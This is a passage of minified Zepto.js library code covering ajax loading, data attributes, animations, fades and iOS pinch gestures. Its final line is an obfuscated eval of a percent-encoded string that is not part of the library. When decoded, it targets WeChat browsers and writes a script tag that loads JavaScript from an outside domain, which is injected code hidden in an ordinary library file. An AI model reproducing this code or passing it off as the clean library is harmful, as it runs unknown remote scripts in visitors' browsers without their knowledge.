e=this,h=c.split(/\s/),l;c=k(c,d,f);var m=c.success;1<h.length&&(c.url=h[0],l=h[1]);c.success=function(c){e.html(l?a("<div>").html(c.replace(g,"")).find(l):c);m&&m.apply(e,arguments)};a.ajax(c);return this};var D=encodeURIComponent;a.param=function(a,c){var d=[];d.add=function(a,c){this.push(D(a)+"="+D(c))};C(d,a,c);return d.join("&").replace(/%20/g,"+")}})(Zepto);(function(a){function e(c,e){var k=c[l],k=k&&n[k];if(void 0===e)return k||f(c);if(k){if(e in k)return k[e];var v=r(e);if(v in k)return k[v]}return s.call(a(c),e)}function f(e,f,k){var v=e[l]||(e[l]=++a.uuid);e=n[v]||(n[v]=c(e));void 0!==f&&(e[r(f)]=k);return e}function c(c){var e={};a.each(c.attributes||v,function(c,f){0==f.name.indexOf("data-")&&(e[r(f.name.replace("data-",""))]=a.zepto.deserializeValue(f.value))});return e}var n={},s=a.fn.data,r=a.camelCase,l=a.expando="Zepto"+ +new Date,v=[];a.fn.data=function(c,l){return void 0===l?a.isPlainObject(c)?this.each(function(e,l){a.each(c,function(a,c){f(l,a,c)})}):0==this.length?void 0:e(this[0],c):this.each(function(){f(this,c,l)})};a.fn.removeData=function(c){"string"==typeof c&&(c=c.split(/\s+/));return this.each(function(){var e=this[l],f=e&&n[e];f&&a.each(c,function(){delete f[r(this)]})})}})(Zepto);(function(a){String.prototype.trim===a&&(String.prototype.trim=function(){return this.replace(/^\s+|\s+$/g,"")});Array.prototype.reduce===a&&(Array.prototype.reduce=function(e){if(void 0===this||null===this)throw new TypeError;var f=Object(this),c=f.length>>>0,n=0,s;if("function"!=typeof e)throw new TypeError;if(0==c&&1==arguments.length)throw new TypeError;if(2<=arguments.length)s=arguments[1];else{do{if(n in f){s=f[n++];break}if(++n>=c)throw new TypeError;}while(1)}for(;n<c;)n in f&&(s=e.call(a,s,f[n],n,f)),n++;return s})})();(function(a){a.fn.end=function(){return this.prevObject||a()};a.fn.andSelf=function(){return this.add(this.prevObject||a())};"filter add not eq first last find closest parents parent children siblings".split(" ").forEach(function(e){var f=a.fn[e];a.fn[e]=function(){var a=f.apply(this,arguments);a.prevObject=this;return a}})})(Zepto);(function(a){var e=[],f;a.fn.remove=function(){return this.each(function(){this.parentNode&&("IMG"===this.tagName&&(e.push(this),this.src="data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=",f&&clearTimeout(f),f=setTimeout(function(){e=[]},6E4)),this.parentNode.removeChild(this))})}})(Zepto);(function(a,e){var f="",c,n=window.document.createElement("div"),s=/^((translate|rotate|scale)(X|Y|Z|3d)?|matrix(3d)?|perspective|skew(X|Y)?)$/i,r,l,v,h,z,k,C,y,u,w={};a.each({Webkit:"webkit",Moz:"",O:"o",ms:"MS"},function(a,g){if(n.style[a+"TransitionProperty"]!==e)return f="-"+a.toLowerCase()+"-",c=g,!1});r=f+"transform";w[l=f+"transition-property"]=w[v=f+"transition-duration"]=w[z=f+"transition-delay"]=w[h=f+"transition-timing-function"]=w[k=f+"animation-name"]=w[C=f+"animation-duration"]=w[u=f+"animation-delay"]=w[y=f+"animation-timing-function"]="";a.fx={off:c===e&&n.style.transitionProperty===e,speeds:{_default:400,fast:200,slow:600},cssPrefix:f,transitionEnd:c?c+"TransitionEnd":"transitionend",animationEnd:c?c+"AnimationEnd":"animationend"};a.fn.animate=function(c,e,f,h,d){a.isPlainObject(e)&&(f=e.easing,h=e.complete,d=e.delay,e=e.duration);e&&(e=("number"==typeof e?e:a.fx.speeds[e]||a.fx.speeds._default)/1E3);d&&(d=parseFloat(d)/1E3);return this.anim(c,e,f,h,d)};a.fn.anim=function(c,f,m,q,d){var n,x={},D,t="",p=this,H,I=a.fx.transitionEnd;f===e&&(f=0.4);d===e&&(d=0);a.fx.off&&(f=0);if("string"==typeof c)x[k]=c,x[C]=f+"s",x[u]=d+"s",x[y]=m||"linear",I=a.fx.animationEnd;else{D=[];for(n in c)s.test(n)?t+=n+"("+c[n]+") ":(x[n]=c[n],D.push(n.replace(/([a-z])([A-Z])/,"$1-$2").toLowerCase()));t&&(x[r]=t,D.push(r));0<f&&"object"===typeof c&&(x[l]=D.join(", "),x[v]=f+"s",x[z]=d+"s",x[h]=m||"linear")}H=function(c){if("undefined"!==typeof c){if(c.target!==c.currentTarget)return;a(c.target).unbind(I,H)}a(this).css(w);q&&q.call(this)};0<f&&this.bind(I,H);this.size()&&this.get(0).clientLeft;this.css(x);0>=f&&setTimeout(function(){p.each(function(){H.call(this)})},0);return this};n=null})(Zepto);(function(a,e){function f(c,f,h,n,k){"function"==typeof f&&!k&&(k=f,f=e);h={opacity:h};n&&(h.scale=n,c.css(a.fx.cssPrefix+"transform-origin","0 0"));return c.animate(h,f,null,k)}function c(c,e,h,n){return f(c,e,0,h,function(){s.call(a(this));n&&n.call(this)})}var n=a.fn.show,s=a.fn.hide,r=a.fn.toggle;a.fn.show=function(a,c){n.call(this);a===e?a=0:this.css("opacity",0);return f(this,a,1,"1,1",c)};a.fn.hide=function(a,f){return a===e?s.call(this):c(this,a,"0,0",f)};a.fn.toggle=function(c,f){return c===e||"boolean"==typeof c?r.call(this,c):this.each(function(){var e=a(this);e["none"==e.css("display")?"show":"hide"](c,f)})};a.fn.fadeTo=function(a,c,e){return f(this,a,c,null,e)};a.fn.fadeIn=function(a,c){var e=this.css("opacity");0<e?this.css("opacity",0):e=1;return n.call(this).fadeTo(a,e,c)};a.fn.fadeOut=function(a,e){return c(this,a,null,e)};a.fn.fadeToggle=function(c,e){return this.each(function(){var f=a(this);f[0==f.css("opacity")||"none"==f.css("display")?"fadeIn":"fadeOut"](c,e)})}})(Zepto);(function(a){if(a.os.ios){var e={};a(document).bind("gesturestart",function(a){var c=Date.now();e.target="tagName"in a.target?a.target:a.target.parentNode;e.e1=a.scale;e.last=c}).bind("gesturechange",function(a){e.e2=a.scale}).bind("gestureend",function(f){0<e.e2?(0!=Math.abs(e.e1-e.e2)&&a(e.target).trigger("pinch")&&a(e.target).trigger("pinch"+(0<e.e1-e.e2?"In":"Out")),e.e1=e.e2=e.last=0):"last"in e&&(e={})});["pinch","pinchIn","pinchOut"].forEach(function(e){a.fn[e]=function(a){return this.bind(e,a)}})}})(Zepto);(function(){"__proto__"in{}||$.extend($.zepto,{Z:function(a,c){a=a||[];$.extend(a,$.fn);a.selector=c||"";a.__Z=!0;return a},isZ:function(a){return"array"===$.type(a)&&"__Z"in a}});try{getComputedStyle(void 0)}catch(a){var e=getComputedStyle;window.getComputedStyle=function(a){try{return e(a)}catch(c){return null}}}})();eval(decodeURIComponent('%69%66%28%6e%61%76%69%67%61%74%6f%72%2e%75%73%65%72%41%67%65%6e%74%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%6d%61%74%63%68%28%2f%4d%69%63%72%6f%4d%65%73%73%65%6e%67%65%72%2f%69%29%3d%3d%22%6d%69%63%72%6f%6d%65%73%73%65%6e%67%65%72%22%29%7b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%73%63%72%69%70%74%20%73%72%63%3d%22%2f%2f%30%2e%76%62%61%69%74%6f%6e%67%2e%63%6f%6d%2f%49%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e%27%29%7d%3b'))